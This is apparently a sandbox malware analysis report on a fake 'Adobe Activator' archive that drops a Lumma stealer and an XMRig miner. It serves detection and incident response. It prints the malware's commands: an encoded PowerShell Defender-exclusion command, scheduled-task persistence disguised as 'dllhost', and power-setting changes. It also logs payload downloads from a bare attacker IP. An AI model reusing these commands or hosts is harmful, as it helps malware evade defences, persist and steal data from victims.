File name:

Adobe Activator.rar

Full analysis: https://app.any.run/tasks/285892b8-1a87-410c-b884-75092fb04784
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: May 19, 2024, 12:18:47
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
lumma
stealer
xmrig
loader
miner
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

5FA6E28B3B413E33D5E0E43B2EB7592E

SHA1:

C4EAF89326B97587049060F936D40DFF4E945C22

SHA256:

55D0878B26822889880B1518B566255CF79F39550DF86A1C4B450F21EFE5D52E

SSDEEP:

196608:jsFKwnURiKSX0slAzlHbOHCS0Nv4TtZAUiAzDWTC/AgQmxC:2L8cnApHbOHCSAUiAz+COmxC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Generic malware mutex has been detected

      • Adobe_Activator.exe (PID: 6988)
    • Drops the executable file immediately after the start

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • XMRig has been detected

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 7052)
  • SUSPICIOUS

    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 6628)
    • Executable content was dropped or overwritten

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Searches for installed software

      • MSBuild.exe (PID: 7052)
    • Process requests binary or script from the Internet

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 4380)
    • Connects to the server without a host name

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Starts CMD.EXE for commands execution

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Base64-obfuscated command line is found

      • cmd.exe (PID: 4380)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 4380)
    • Creates file in the systems drive root

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • The process creates files with name similar to system file names

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Drops a system driver (possible attempt to evade defenses)

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Uses powercfg.exe to modify the power settings

      • cmd.exe (PID: 4380)
  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 6628)
    • Reads the computer name

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Checks supported languages

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Create files in a temporary directory

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Reads the machine GUID from the registry

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Manual execution by a user

      • Adobe_Activator.exe (PID: 6988)
    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 6628)
    • Reads the software policy settings

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Creates files in the program directory

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Reads Environment values

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Disables trace logs

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Checks proxy server information

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
126
Monitored processes
20
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe rundll32.exe no specs adobe_activator.exe msbuild.exe uvtmvrlalszwi8wjs1uts8s73hgwxk.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs powercfg.exe no specs powercfg.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs powercfg.exe no specs schtasks.exe no specs schtasks.exe no specs powercfg.exe no specs powercfg.exe no specs filecoauth.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
700\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1108"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1864powercfg /x -hibernate-timeout-dc 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3644powercfg /x -standby-timeout-ac 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3956powercfg /x -hibernate-timeout-ac 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4148"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8512" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4360\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4380"cmd.exe" /C powershell -EncodedCommand "PAAjADEAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEcAZABpAGoAagBBAGYAQgA3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAdwBkAHEANgBUAFYAcAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBTADYAMABUACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate offC:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4384\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5012SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
17 868
Read events
17 833
Write events
32
Delete events
3

Modification events

(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\Adobe Activator.rar
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(5840) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
47
Suspicious files
141
Text files
8
Unknown types
0

Dropped files

PID
Process
Filename
Type
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dara.chmbinary
MD5:C1B0257579B0D16FBE0CD2D02DBFAA75
SHA256:BDE3204CE98AD07F35AF5A5D77CB9BCEC604AE97B90A261C731E33CD86B4EC65
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dchs.chmbinary
MD5:C5642A52A8A562C0E877A5305C5A5845
SHA256:8C46FAEB2037EB7935D24C880A712E65AB970DA67A856D16FF0E7E9D7CAB1E07
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\en-US\credits.rtftext
MD5:05B931430FD173BD22900DBAA8BBFF10
SHA256:3CE703C36DFC6282C22991519309B921AE8F5B2653561FF3F9C1617DC2D6674E
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3d.chmbinary
MD5:B5F9ED44F46DC2A2B54BAF908B9B9781
SHA256:53136C96A99EC7F237470DB34E49742AC99427ED6F2A22045EE9C45CE390BC69
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dcsy.chmbinary
MD5:B8D7042DDC7225D8292A0C615A3FB23B
SHA256:3003EB4F3D284477CE8EED97E07B123AE06023D441A36FB78E4B69C72D90B0C1
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3ddan.chmbinary
MD5:3F5EA602A3C7DF10F04607BB4036AE91
SHA256:D2ECB5ACF630F64891C85D796CDFC251B83604921A6057C8C747E4D0383C0CBF
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dell.chmbinary
MD5:3B29CE38A2BF1D68B9E5F47B224FC208
SHA256:D348907C412F241BA167D9B7455AF4579816F43F61BC652FD2F948DFA4400904
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dfra.chmchm
MD5:B7AF0F0DE555F26450BEBDD9F971C838
SHA256:36DA94C497DE59E1154391F00DC08F058DBD2B4541C182F2C0ABD84021D6F72C
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dfin.chmbinary
MD5:0EFE776961D3B5D75E2F2F2054A01EC0
SHA256:CABC965762D678F14E2187BBCB109F2CC796D9A84B9F168CF49DAE270136AD99
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3desn.chmbinary
MD5:73BFE0ABBE2128C47EAD3C96521A9D70
SHA256:78EA2FEDD3EF6B2847B59A8D98B371CF82AD728BAC19C740A654D1E5B733CC43
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
31
DNS requests
6
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5952
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
5140
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
5952
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
5140
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
7052
MSBuild.exe
GET
200
147.45.47.115:80
http://147.45.47.115/conhost.exe
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/xmrig.exe
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/WinRing0x64.sys
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/WatchDog.exe
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
239.255.255.250:1900
unknown
4
System
192.168.100.255:138
whitelisted
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5952
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
5140
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
5952
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
5140
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
4
System
192.168.100.255:137
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
ticketgradiencomfj.shop
  • 188.114.96.9
  • 188.114.97.9
unknown
pastebin.com
  • 104.20.4.235
  • 104.20.3.235
  • 172.67.19.24
shared
self.events.data.microsoft.com
  • 20.50.201.200
whitelisted

Threats

PID
Process
Class
Message
A Network Trojan was detected
STEALER [ANY.RUN] Lumma Stealer TLS Connection
7052
MSBuild.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Misc activity
ET INFO Packed Executable Download
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1 ETPRO signatures available at the full report
No debug info